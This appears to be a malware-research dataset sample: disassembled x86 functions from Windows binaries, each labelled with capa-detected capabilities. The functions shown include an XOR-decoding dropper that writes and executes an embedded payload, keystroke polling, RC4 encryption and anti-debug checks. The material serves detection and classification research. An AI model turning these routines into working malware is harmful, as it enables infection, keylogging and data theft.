joyce8/EMBER2024-capa huggingface dataset:
Function at 0x4357e0
Capabilities:
Access peb ldr_data

Disassembly:
mov eax, dword fs:[0]
push 0xffffffffffffffff
push 0x46d158
push eax
mov dword fs:[0], esp
sub esp, 0x14
push ebx
push ebp
mov ebp, dword [esp + 0x30]
push esi
mov ebx, ecx
push edi
mov esi, dword [ebp]
mov ecx, dword [esi + 0xc]
mov eax, dword [esi + 0x10]
dec ecx
cmp eax, ecx
jge 0x435819
inc eax
mov dword [esi + 0x10], eax
jmp 0x43592c
mov eax, dword [ebx + 0x3c]
mov ecx, dword [esi + 8]
cmp ecx, eax
jne 0x43582d
mov eax, 0xffffffc7
jmp 0x43592e
mov esi, dword [esi]
mov edx, dword [esi + 0x10]
mov ecx, dword [esi + 0xc]
cmp edx, ecx
jl 0x43583e
cmp dword [esi + 8], eax
jne 0x43582d
cmp dword [esi + 8], eax
jne 0x435857
mov eax, dword [esi + 0x10]
mov ecx, dword [esi + 0xc]
cmp eax, ecx
jl 0x435857
mov eax, 0xffffffc7
jmp 0x43592e
mov eax, dword [esi + 4]
xor edi, edi
cmp eax, edi
je 0x43586b
push eax
mov ecx, ebx
call fcn.00435010
mov dword [esi + 4], edi
mov dword [ebp], esi
mov ecx, dword [esi + 0x10]
inc ecx
mov dword [esi + 0x10], ecx
lea ecx, [esp + 0x10]
call fcn.00404740
mov dword [esp + 0x2c], edi
mov edi, dword [esp + 0x3c]
test edi, edi
jne 0x43589c
mov ecx, dword [ebx + 4]
mov edx, dword [ecx + 8]
lea ecx, [esp + 0x10]
push edx
call fcn.00404760
mov edi, eax
mov eax, dword [esi + 8]
push edi
push eax
mov ecx, ebx
call fcn.00434780
test eax, eax
mov dword [esp + 0x38], eax
je 0x4358cf
lea ecx, [esp + 0x10]
mov dword [esp + 0x2c], 0xffffffff
mov dword [esp + 0x10], 0x48a628
call fcn.00404940
mov eax, dword [esp + 0x38]
jmp 0x43592e
mov ecx, dword [esi + 0x10]
push ecx
push edi
mov ecx, ebx
call fcn.00435640
mov dl, byte [edi]
and dl, 1
cmp dl, 1
jne 0x435913
mov ecx, dword [esp + 0x34]
push ebp
push ecx
push edi
push eax
mov ecx, ebx
call fcn.00435660
mov esi, eax
test esi, esi
jne 0x435943
mov edx, dword [ebp]
push eax
push edi
mov ecx, ebx
mov dword [edx + 0x10], eax
call fcn.00435640
mov cl, byte [edi]
and cl, 1
cmp cl, 1
je 0x4358e5
lea ecx, [esp + 0x10]
mov dword [esp + 0x2c], 0xffffffff
mov dword [esp + 0x10], 0x48a628
call fcn.00404940
xor eax, eax
mov ecx, dword [esp + 0x24]
pop edi
pop esi
pop ebp
pop ebx
mov dword fs:[0], ecx
add esp, 0x20
ret 0xc
lea ecx, [esp + 0x10]
mov dword [esp + 0x2c], 0xffffffff
mov dword [esp + 0x10], 0x48a628
call fcn.00404940
mov eax, esi
jmp 0x43592e

Function at 0x438a50
Capabilities:
Create thread

Disassembly:
push ecx
cmp dword [ecx + 0xcc], 1
je 0x438ab0
mov eax, dword [ecx + 0x1c]
test eax, eax
je 0x438ab0
mov eax, dword [ecx + 0xb0]
test eax, eax
je 0x438ab0
push esi
mov edx, 5
mov esi, dword [ecx + 0xbc]
cmp esi, edx
pop esi
je 0x438ab0
mov dword [ecx + 0xb4], eax
mov dword [ecx + 0x94], 0
mov dword [ecx + 0xbc], edx
lea eax, [esp]
push eax
push 0
push ecx
push 0x438af0
push 0
push 0
call dword [sym.imp.KERNEL32.dll_CreateThread]
push eax
call dword [sym.imp.KERNEL32.dll_CloseHandle]
pop ecx
ret
Function at 0x43ec50
Capabilities:
Access peb ldr_data
Get number of processors

Disassembly:
push 0xffffffffffffffff
push 0x46d788
mov eax, dword fs:[0]
push eax
mov dword fs:[0], esp
sub esp, 0x2c
push esi
mov esi, ecx
lea eax, [esp + 0xc]
mov ecx, dword [esi + 0x1c]
push eax
push ecx
call dword [sym.imp.USER32.dll_GetClientRect]
push 0
lea ecx, [esp + 0x20]
call fcn.00466300
mov eax, dword [esi + 0xd0]
lea edx, [esp + 0x1c]
push eax
push eax
push edx
mov dword [esp + 0x44], 0
call fcn.0043e5f0
mov eax, dword [esi + 0x4c]
mov ecx, dword [esi + 0x48]
add eax, 0x64
add esp, 0xc
add ecx, 0x64
mov dword [esp + 8], eax
lea eax, [esp + 4]
mov dword [esp + 4], ecx
push eax
lea ecx, [esp + 0x20]
call fcn.0046622e
mov ecx, dword [esp + 4]
mov eax, dword [esp + 0x14]
mov edx, dword [esp + 0xc]
sub ecx, eax
add ecx, edx
mov eax, 0x88888889
imul ecx
add edx, ecx
push 1
sar edx, 4
mov ecx, edx
shr ecx, 0x1f
lea eax, [edx + ecx + 1]
xor edx, edx
test eax, eax
setl dl
dec edx
mov ecx, esi
and eax, edx
push eax
push 0
push 0
call fcn.00462aef
mov ecx, dword [esp + 0x10]
mov eax, dword [esp + 0x18]
mov edx, dword [esp + 8]
sub ecx, eax
add ecx, edx
mov eax, 0x88888889
imul ecx
add edx, ecx
xor ecx, ecx
sar edx, 4
mov eax, edx
push 1
shr eax, 0x1f
lea eax, [edx + eax + 1]
test eax, eax
setl cl
dec ecx
and eax, ecx
mov ecx, esi
push eax
push 0
push 1
call fcn.00462aef
push 1
push 0
push 0
mov ecx, esi
call fcn.00462a97
push 1
push 0
push 1
mov ecx, esi
call fcn.00462a97
lea ecx, [esp + 0x1c]
mov dword [esp + 0x38], 0xffffffff
call fcn.00466372
mov ecx, dword [esp + 0x30]
pop esi
mov dword fs:[0], ecx
add esp, 0x38
ret

Function at 0x43edd0
Capabilities:
Get number of processors

Disassembly:
push 0xffffffffffffffff
push 0x46d7a8
mov eax, dword fs:[0]
push eax
mov dword fs:[0], esp
sub esp, 0x2c
push esi
mov esi, ecx
push 0
lea ecx, [esp + 0x20]
call fcn.00466300
push 0x3e8
lea eax, [esp + 0x20]
push 0x3e8
push eax
mov dword [esp + 0x44], 0
call fcn.0043e5f0
mov ecx, dword [esi + 0x48]
mov eax, dword [esi + 0x4c]
add ecx, 0x64
add esp, 0xc
mov dword [esp + 4], ecx
lea ecx, [esp + 4]
add eax, 0x96
push ecx
lea ecx, [esp + 0x20]
mov dword [esp + 0xc], eax
call fcn.0046622e
mov eax, dword [esi + 0x1c]
lea edx, [esp + 0xc]
push edx
push eax
call dword [sym.imp.USER32.dll_GetClientRect]
mov eax, dword [esp + 0x18]
mov edx, dword [esp + 0x10]
sub eax, edx
lea eax, [eax + eax*4]
lea eax, [eax + eax*4]
lea eax, [eax + eax*4]
shl eax, 3
cdq
idiv dword [esp + 8]
mov edx, dword [esp + 0xc]
mov ecx, eax
mov eax, dword [esp + 0x14]
sub eax, edx
lea eax, [eax + eax*4]
lea eax, [eax + eax*4]
lea eax, [eax + eax*4]
shl eax, 3
cdq
idiv dword [esp + 4]
cmp dword [esp + 0x44], 1
jne 0x43ee94
cmp dword [esp + 0x40], 1
jne 0x43ee92
cmp ecx, eax
jge 0x43ee94
mov eax, ecx
cmp eax, 0xc8
jge 0x43eea0
mov eax, 0xc8
mov ecx, esi
mov dword [esi + 0xd0], eax
call fcn.0043ec50
mov ecx, dword [esi + 0x1c]
push 1
push 0
push ecx
call dword [sym.imp.USER32.dll_InvalidateRect]
lea ecx, [esp + 0x1c]
mov dword [esp + 0x38], 0xffffffff
call fcn.00466372
mov ecx, dword [esp + 0x30]
pop esi
mov dword fs:[0], ecx
add esp, 0x38
ret 8
Function at 0x43f610
Capabilities:
Access peb ldr_data
Get number of processors

Disassembly:
push 0xffffffffffffffff
push 0x46d813
mov eax, dword fs:[0]
push eax
mov dword fs:[0], esp
push ecx
push ebp
push esi
mov esi, ecx
push edi
mov dword [esp + 0xc], esi
call fcn.00460f10
lea edi, [esi + 0x64]
mov dword [esp + 0x18], 0
mov dword [edi + 4], 0
mov dword [edi], vtable.CBrush.0
mov eax, dword [esp + 0x2c]
mov ebp, dword [esp + 0x24]
mov ecx, dword [esp + 0x30]
mov dword [esi + 0x3c], eax
mov eax, ebp
mov dword [esi], method.CEdit.virtual_0
mov dword [esi + 0x40], ecx
mov dword [esi + 0x44], 0
mov ecx, dword [eax]
lea edx, [esi + 0x48]
mov byte [esp + 0x18], 1
mov dword [edx], ecx
mov ecx, dword [eax + 4]
mov dword [edx + 4], ecx
mov ecx, dword [eax + 8]
mov dword [edx + 8], ecx
mov eax, dword [eax + 0xc]
mov ecx, dword [esp + 0x40]
mov dword [edx + 0xc], eax
mov eax, dword [esp + 0x44]
push eax
mov dword [esi + 0x5c], ecx
mov dword [esi + 0x60], eax
call dword [sym.imp.GDI32.dll_CreateSolidBrush]
push eax
mov ecx, edi
call fcn.004665a8
mov edx, dword [esp + 0x28]
mov eax, dword [esp + 0x20]
push edx
push eax
push ebp
push 0x50800044
mov ecx, esi
call fcn.00467bbe
test eax, eax
je 0x43f72c
mov ecx, dword [esp + 0x3c]
call fcn.004665d5
mov ecx, dword [esi + 0x1c]
mov ebp, dword [sym.imp.USER32.dll_SendMessageA]
push 0
push eax
push 0x30
push ecx
mov dword [esi + 0x58], eax
call ebp
mov edi, dword [esp + 0x34]
test edi, edi
je 0x43f6f0
push edi
mov ecx, esi
call fcn.00463c3d
mov ecx, esi
call fcn.0043f890
cmp dword [esp + 0x38], 1
jne 0x43f725
or ecx, 0xffffffff
xor eax, eax
repne scasb al, byte es:[edi]
mov edx, dword [esi + 0x1c]
push 0xffffffffffffffff
not ecx
dec ecx
push ecx
push 0xb1
push edx
call ebp
mov eax, dword [esi + 0x1c]
push 0
push 0
push 0xb7
push eax
call ebp
mov ecx, esi
call fcn.00463d78
mov ecx, dword [esp + 0x10]
mov eax, esi
pop edi
pop esi
pop ebp
mov dword fs:[0], ecx
add esp, 0x10
ret 0x28
Function at 0x442150
Capabilities:
Check for software breakpoints

Disassembly:
push esi
mov esi, dword [esp + 8]
cmp dword [esi + 0x10], 0xca
jne 0x442183
push esi
call fcn.00445250
mov eax, dword [esi + 0x40]
add esp, 4
test eax, eax
je 0x44217c
mov dword [esi + 0x10], 0xcf
mov eax, 1
pop esi
ret
mov dword [esi + 0x10], 0xcb
mov eax, dword [esi + 0x10]
cmp eax, 0xcb
jne 0x442209
mov eax, dword [esi + 0x1b0]
mov ecx, dword [eax + 0x10]
test ecx, ecx
je 0x4421f2
mov eax, dword [esi + 8]
test eax, eax
je 0x4421a7
push esi
call dword [eax]
add esp, 4
mov ecx, dword [esi + 0x1b0]
push esi
call dword [ecx]
add esp, 4
test eax, eax
je 0x4421ee
cmp eax, 2
je 0x4421f2
mov ecx, dword [esi + 8]
test ecx, ecx
je 0x44219a
cmp eax, 3
je 0x4421cd
cmp eax, 1
jne 0x44219a
mov eax, dword [ecx + 4]
inc eax
mov dword [ecx + 4], eax
mov eax, dword [esi + 8]
mov ecx, dword [eax + 8]
mov edx, dword [eax + 4]
cmp edx, ecx
jl 0x44219a
mov edx, dword [esi + 0x13c]
add edx, ecx
mov dword [eax + 8], edx
jmp 0x44219a
xor eax, eax
pop esi
ret
mov eax, dword [esi + 0x90]
push esi
mov dword [esi + 0x98], eax
call fcn.00442230
add esp, 4
pop esi
ret
cmp eax, 0xcc
je 0x442218
mov ecx, dword [esi]
push esi
call dword [ecx]
add esp, 4
push esi
call fcn.00442230
add esp, 4
pop esi
ret

Function at 0x461d05
Capabilities:
Get graphical window text

Disassembly:
push esi
mov esi, ecx
mov ecx, dword [esi + 0x38]
test ecx, ecx
jne 0x461d3d
push dword [esi + 0x1c]
call dword [sym.imp.USER32.dll_GetWindowTextLengthA]
lea ecx, [eax + 1]
push ecx
mov ecx, dword [esp + 0xc]
push eax
call fcn.0045fdbc
push eax
push dword [esi + 0x1c]
call dword [sym.imp.USER32.dll_GetWindowTextA]
mov ecx, dword [esp + 8]
push 0xffffffffffffffff
call fcn.0045fd94
jmp 0x461d49
mov eax, dword [ecx]
push dword [esp + 8]
call dword [eax + 0x88]
pop esi
ret 4

Function at 0x4633f7
Capabilities:
Extract resource via kernel32 functions

Disassembly:
push ebx
push esi
push edi
xor edi, edi
cmp dword [esp + 0x10], edi
mov ebx, ecx
je 0x463439
call fcn.00468faf
mov esi, dword [eax + 0xc]
push 0xf0
push dword [esp + 0x14]
push esi
call dword [sym.imp.KERNEL32.dll_FindResourceA]
cmp eax, edi
je 0x463439
push eax
push esi
call dword [sym.imp.KERNEL32.dll_LoadResource]
cmp eax, edi
jne 0x463430
xor eax, eax
jmp 0x463441
push eax
call dword [sym.imp.KERNEL32.dll_LockResource]
mov edi, eax
push edi
mov ecx, ebx
call fcn.00463447
pop edi
pop esi
pop ebx
ret 4

Function at 0x4694df
Capabilities:
Get thread local storage value

Disassembly:
push ebx
push esi
mov esi, ecx
lea ebx, [esi + 0x1c]
push ebx
call dword [sym.imp.KERNEL32.dll_EnterCriticalSection]
cmp dword [esp + 0x10], 0
jne 0x46950d
push dword [esi]
call dword [sym.imp.KERNEL32.dll_TlsGetValue]
test eax, eax
je 0x46952b
push dword [esp + 0xc]
mov ecx, esi
push eax
call fcn.00469445
jmp 0x46952b
mov eax, dword [esi + 0x14]
test eax, eax
je 0x46952b
push edi
push dword [esp + 0x10]
mov edi, dword [eax + 4]
mov ecx, esi
push eax
call fcn.00469445
test edi, edi
mov eax, edi
jne 0x469515
pop edi
push ebx
call dword [sym.imp.KERNEL32.dll_LeaveCriticalSection]
pop esi
pop ebx
ret 8
Function at 0x401026
Capabilities:
Create process on windows
Delete file
Read file on windows
Set file attributes
Write and execute a file
Write file on windows

Disassembly:
push ebp
mov edx, section..text
push edi
push esi
push ebx
sub esp, 0x574
lea ecx, [esp + 0x64]
cmp edx, entry0
jae 0x40104c
movzx eax, byte [edx]
inc edx
xor al, 0xd9
mov byte [ecx], al
inc ecx
jmp 0x401039
mov byte [ecx], 0
lea esi, [esp + 0x64]
push esi
push 1
push 0
call 0x401220
push 0x104
lea ebx, [esp + 0x468]
push ebx
push 0
call sub.KERNEL32.dll_GetModuleFileNameA
push 0
push 0
push 3
push 0
push 1
push 0x80000000
push ebx
call sub.KERNEL32.dll_CreateFileA
test eax, eax
mov ebx, eax
je 0x401205
cmp eax, 0xffffffff
je 0x401205
push 2
push 0
push 0xffffffffffffff9c
push eax
call sub.KERNEL32.dll_SetFilePointer
push 0
lea ebp, [esp + 4]
push ebp
push 0x64
push esi
push ebx
call sub.KERNEL32.dll_ReadFile
push ebx
call sub.KERNEL32.dll_CloseHandle
lea edx, [esp + 0x65]
lea ecx, [esp + 0xc7]
cmp edx, ecx
jae 0x4010d4
movzx eax, byte [esp + 0x64]
xor byte [edx], al
inc edx
jmp 0x4010c6
lea edx, [esp + 0x14]
lea eax, [esp + 0x58]
cmp edx, eax
jae 0x4010e6
mov byte [edx], 0
inc edx
jmp 0x4010dc
lea eax, [esp + 4]
push eax
lea eax, [esp + 0x18]
push eax
push 0
push 0
push 0
push 0
push 0
push 0
push 0
lea eax, [esp + 0x8d]
push eax
call sub.KERNEL32.dll_CreateProcessA
test eax, eax
jne 0x401205
push 0
push 0
push 3
push 0
push 1
push 0x80000000
lea eax, [esp + 0x47c]
push eax
call sub.KERNEL32.dll_CreateFileA
test eax, eax
mov ebx, eax
je 0x401205
cmp eax, 0xffffffff
je 0x401205
push 2
mov eax, 0xffffff9c
push 0
sub eax, dword [esp + 0x6d]
push eax
push ebx
call sub.KERNEL32.dll_SetFilePointer
push 0
push ebp
push dword [esp + 0x6d]
push dword [esp + 0x71]
push 0
call sub.KERNEL32.dll_GetProcessHeap
push eax
call sub.KERNEL32.dll_HeapAlloc
push eax
mov esi, eax
push ebx
call sub.KERNEL32.dll_ReadFile
push ebx
call sub.KERNEL32.dll_CloseHandle
mov eax, esi
mov edx, esi
add eax, dword [esp + 0x65]
cmp esi, eax
jae 0x40119b
movzx eax, byte [esp + 0x64]
xor byte [edx], al
mov eax, esi
inc edx
add eax, dword [esp + 0x65]
cmp edx, eax
jmp 0x401187
push pe_nt_image_headers32
lea edi, [esp + 0x6d]
push edi
call sub.KERNEL32.dll_SetFileAttributesA
push edi
call sub.KERNEL32.dll_DeleteFileA
push 0
push pe_nt_image_headers32
push 2
push 0
push 0
push 0x40000000
push edi
call sub.KERNEL32.dll_CreateFileA
test eax, eax
mov ebx, eax
je 0x401205
cmp eax, 0xffffffff
je 0x401205
push 0
push ebp
push dword [esp + 0x6d]
push esi
push eax
call sub.KERNEL32.dll_WriteFile
push ebx
call sub.KERNEL32.dll_CloseHandle
lea eax, [esp + 4]
push eax
lea eax, [esp + 0x18]
push eax
push 0
push 0
push 0
push 0
push 0
push 0
push 0
push edi
call sub.KERNEL32.dll_CreateProcessA
push 0
call sub.KERNEL32.dll_ExitProcess
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
jmp dword [sym.imp.KERNEL32.dll_CreateMutexA]

Function at 0x42fe30
Capabilities:
Encode data using xor

Disassembly:
mov edx, dword [esp + 4]
mov eax, dword [esp + 8]
cmp edx, 1
jle 0x42fe4e
push esi
lea ecx, [esp + 0x18]
dec edx
mov esi, dword [ecx]
add ecx, 0xc
xor eax, esi
dec edx
jne 0x42fe43
pop esi
ret
Function at 0x40f1b0
Capabilities:
Enumerate files on windows

Disassembly:
push 0xffffffffffffffff
push 0x4848db
mov eax, dword fs:[0]
push eax
mov dword fs:[0], esp
sub esp, 0x180
push ebx
push ebp
mov ebp, ecx
lea ecx, [esp + 8]
lea eax, [ebp + 0x40]
push eax
call fcn.00479369
mov ecx, dword [esp + 8]
mov dword [esp + 0x190], 0
mov eax, dword [ecx - 8]
test eax, eax
je 0x40f232
lea edx, [esp + 0x10]
push 1
push edx
lea ecx, [esp + 0x10]
call fcn.00477090
mov eax, dword [eax]
push 0x4a2200
push eax
call fcn.004694b4
add esp, 8
lea ecx, [esp + 0x10]
test eax, eax
setne bl
call fcn.004795f4
test bl, bl
je 0x40f232
push 0x4a2200
lea ecx, [esp + 0xc]
call fcn.00479984
push 0x4a5d50
lea ecx, [esp + 0xc]
call fcn.00479984
mov ecx, dword [esp + 8]
lea eax, [esp + 0x48]
push eax
push ecx
call dword [sym.imp.KERNEL32.dll_FindFirstFileA]
cmp eax, 0xffffffff
mov dword [esp + 0xc], eax
jne 0x40f26e
lea ecx, [esp + 8]
mov dword [esp + 0x190], eax
call fcn.004795f4
jmp 0x40f339
push esi
mov esi, dword [esp + 0x19c]
push edi
mov edi, dword [sym.imp.USER32.dll_SendMessageA]
mov ebx, 0x23
test byte [esp + 0x50], 0x10
je 0x40f2f2
lea edx, [esp + 0x7c]
push 0x4a5d4c
push edx
call fcn.004694b4
add esp, 8
test eax, eax
je 0x40f2f2
lea eax, [esp + 0x7c]
push 0x4a5d48
push eax
call fcn.004694b4
add esp, 8
test eax, eax
je 0x40f2f2
mov eax, dword [ebp + 0x1c]
lea edx, [esp + 0x1c]
push edx
push 0
lea ecx, [esp + 0x84]
push 0x1100
push eax
mov dword [esp + 0x2c], esi
mov dword [esp + 0x30], 0xffff0003
mov dword [esp + 0x4c], 0
mov dword [esp + 0x50], 1
mov dword [esp + 0x44], ecx
mov dword [esp + 0x34], ebx
call edi
mov edx, dword [esp + 0x14]
lea ecx, [esp + 0x50]
push ecx
push edx
call dword [sym.imp.KERNEL32.dll_FindNextFileA]
test eax, eax
jne 0x40f282
mov eax, dword [esp + 0x14]
push eax
call dword [sym.imp.KERNEL32.dll_FindClose]
mov ecx, dword [ebp + 0x1c]
push esi
push 2
push 0x1102
push ecx
call edi
lea ecx, [esp + 0x10]
mov dword [esp + 0x198], 0xffffffff
call fcn.004795f4
pop edi
pop esi
mov ecx, dword [esp + 0x188]
pop ebp
pop ebx
mov dword fs:[0], ecx
add esp, 0x18c
ret 4

Function at 0x40fb30
Capabilities:
Query or enumerate registry value

Disassembly:
mov ecx, dword [esp + 8]
mov edx, dword [esp + 4]
sub esp, 0x10c
lea eax, [esp]
push esi
push eax
push 1
push 0
push ecx
push edx
call dword [sym.imp.ADVAPI32.dll_RegOpenKeyExA]
mov esi, eax
test esi, esi
jne 0x40fb92
mov edx, dword [esp + 4]
lea eax, [esp + 8]
lea ecx, [esp + 0xc]
push eax
push ecx
push esi
push edx
mov dword [esp + 0x18], 0x104
call dword [sym.imp.ADVAPI32.dll_RegQueryValueA]
mov ecx, dword [esp + 0x11c]
lea eax, [esp + 0xc]
push eax
push ecx
call dword [sym.imp.KERNEL32.dll_lstrcpyA]
mov edx, dword [esp + 4]
push edx
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
mov eax, esi
pop esi
add esp, 0x10c
ret 0xc
Function at 0x40fba0
Capabilities:
Create process on windows

Disassembly:
push 0xffffffffffffffff
push 0x48495b
mov eax, dword fs:[0]
push eax
mov dword fs:[0], esp
sub esp, 0x20c
mov eax, dword [0x4ae164]
push esi
push edi
mov edi, ecx
mov dword [esp + 8], eax
mov eax, dword [edi + 0x44]
mov dword [esp + 0x21c], 0
test eax, eax
jne 0x40fcd8
mov ecx, dword [edi + 0x48]
lea esi, [edi + 0x48]
mov eax, dword [ecx - 8]
test eax, eax
jne 0x40fc06
lea ecx, [esp + 8]
mov dword [esp + 0x21c], 0xffffffff
call fcn.004795f4
xor eax, eax
jmp 0x40fd4f
push str.mailto:
lea ecx, [esp + 0xc]
call fcn.00479731
push esi
lea ecx, [esp + 0xc]
call fcn.004799c0
mov ecx, dword [esp + 8]
push ebx
push ebp
mov ebp, dword [esp + 0x22c]
push ebp
push 0
push 0
push ecx
push 0x4a5d88
push 0
call dword [sym.imp.SHELL32.dll_ShellExecuteA]
mov esi, eax
cmp esi, 0x20
ja 0x40fd2d
lea edx, [esp + 0x14]
mov ecx, edi
push edx
push 0x4a5d80
push closesocket
call fcn.0040fb30
test eax, eax
jne 0x40fd2d
mov ebx, dword [sym.imp.KERNEL32.dll_lstrcatA]
lea eax, [esp + 0x14]
push 0x4a5d6c
push eax
call ebx
lea ecx, [esp + 0x14]
lea edx, [esp + 0x14]
push ecx
push edx
push closesocket
mov ecx, edi
call fcn.0040fb30
test eax, eax
jne 0x40fd2d
lea eax, [esp + 0x14]
push 0x4a5d64
push eax
call fcn.0046a4f0
mov esi, eax
add esp, 8
test esi, esi
jne 0x40fd0c
lea ecx, [esp + 0x14]
push 0x4a5d60
push ecx
call fcn.0046a470
mov esi, eax
add esp, 8
test esi, esi
jne 0x40fd0c
lea edx, [esp + 0x14]
push edx
call dword [sym.imp.KERNEL32.dll_lstrlenA]
lea esi, [esp + eax + 0x13]
jmp 0x40fd0f
lea edx, [edi + 0x4c]
lea ecx, [esp + 8]
push edx
call fcn.004796e1
mov eax, dword [esp + 8]
mov ecx, dword [eax - 8]
test ecx, ecx
jne 0x40fc1e
lea ecx, [esp + 8]
mov dword [esp + 0x21c], 0xffffffff
call fcn.004795f4
xor eax, eax
jmp 0x40fd4f
mov byte [esi], 0
push 0x4a5d5c
push esi
call ebx
mov eax, dword [esp + 0x10]
push eax
push esi
call ebx
lea ecx, [esp + 0x14]
push ebp
push ecx
call dword [sym.imp.KERNEL32.dll_WinExec]
mov esi, eax
xor edx, edx
cmp esi, 0x20
setg dl
lea ecx, [esp + 0x10]
mov esi, edx
mov dword [esp + 0x224], 0xffffffff
call fcn.004795f4
pop ebp
mov eax, esi
pop ebx
mov ecx, dword [esp + 0x214]
pop edi
pop esi
mov dword fs:[0], ecx
add esp, 0x218
ret 4
Function at 0x420360
Capabilities:
Log keystrokes via polling

Disassembly:
mov eax, dword [esp + 4]
push esi
push edi
mov edi, dword [sym.imp.USER32.dll_GetKeyState]
mov cl, byte [eax + 8]
and ecx, 0xff
mov esi, ecx
cmp si, 0x60
jb 0x4203ce
cmp si, 0x69
ja 0x4203ce
add esi, 0xffd0
cmp si, 0x11
je 0x42039e
push 0x11
call edi
test ax, ax
jge 0x42039e
or esi, 0x2000
cmp si, 0x10
je 0x4203b3
push 0x10
call edi
test ax, ax
jge 0x4203b3
or esi, 0x4000
cmp si, 0x12
je 0x4203c8
push 0x12
call edi
test ax, ax
jge 0x4203c8
or esi, 0x8000
mov ax, si
pop edi
pop esi
ret
cmp si, 0x6d
jne 0x4203db
mov esi, 0xbd
jmp 0x42038f
cmp si, 0x6e
jne 0x4203e8
mov esi, 0xbe
jmp 0x42038f
cmp si, 0x6f
jne 0x420389
mov esi, 0xbf
jmp 0x42038f

Function at 0x421b90
Capabilities:
Encrypt data using rc4 ksa

Disassembly:
push ecx
mov eax, dword [0x4be978]
xor edx, edx
cmp eax, edx
jne 0x421bb6
xor eax, eax
mov byte [eax + 0x4be878], al
inc eax
cmp eax, 0x100
jl 0x421b9e
mov dword [0x4be978], 1
mov eax, dword [esp + 0xc]
push ebx
mov ebx, dword [esp + 0x14]
push esi
push edi
mov ecx, 0x40
mov esi, 0x4be878
mov edi, ebx
rep movsd dword es:[edi], dword [esi]
cmp eax, edx
mov byte [ebx + 0x100], dl
mov byte [ebx + 0x101], dl
jle 0x421c47
xor esi, esi
push ebp
mov byte [esp + 0x20], dl
xor ecx, ecx
mov edi, dword [esp + 0x20]
mov ebp, dword [esp + 0x18]
mov al, byte [esi + ebx]
and edi, 0xff
xor edx, edx
mov dl, byte [edi + ebp]
mov ebp, eax
and ebp, 0xff
add ecx, edx
add ecx, ebp
and ecx, 0x800000ff
jns 0x421c1a
dec ecx
or ecx, 0xffffff00
inc ecx
mov byte [esp + 0x10], cl
mov ecx, dword [esp + 0x10]
and ecx, 0xff
mov dl, byte [ecx + ebx]
mov byte [esi + ebx], dl
mov byte [ecx + ebx], al
lea eax, [edi + 1]
cdq
idiv dword [esp + 0x1c]
inc esi
cmp esi, 0x100
mov byte [esp + 0x20], dl
jl 0x421be8
pop ebp
pop edi
pop esi
pop ebx
pop ecx
ret

Function at 0x421cc0
Capabilities:
Encode data using xor

Disassembly:
push ebp
mov ebp, esp
sub esp, 8
mov eax, dword [ebp + 0x10]
push ebx
push esi
push edi
mov cl, byte [eax + 0x100]
mov dl, byte [eax + 0x101]
mov dword [ebp - 8], eax
mov byte [ebp - 1], cl
mov byte [ebp - 2], dl
xor ebx, ebx
mov bl, byte [ebp - 1]
xor edx, edx
mov dl, byte [ebp - 2]
mov esi, dword [ebp - 8]
mov edi, dword [ebp + 8]
xor eax, eax
mov ecx, dword [ebp + 0xc]
test ecx, ecx
jle 0x421d13
inc bl
mov al, byte [esi + ebx]
add dl, al
xchg byte [esi + edx], al
mov byte [esi + ebx], al
add al, byte [esi + edx]
mov al, byte [esi + eax]
xor byte [edi], al
inc edi
dec ecx
jne 0x421cfa
mov byte [ebp - 1], bl
mov byte [ebp - 2], dl
mov eax, dword [ebp + 0x10]
mov cl, byte [ebp - 1]
mov dl, byte [ebp - 2]
pop edi
pop esi
mov byte [eax + 0x100], cl
mov byte [eax + 0x101], dl
pop ebx
mov esp, ebp
pop ebp
ret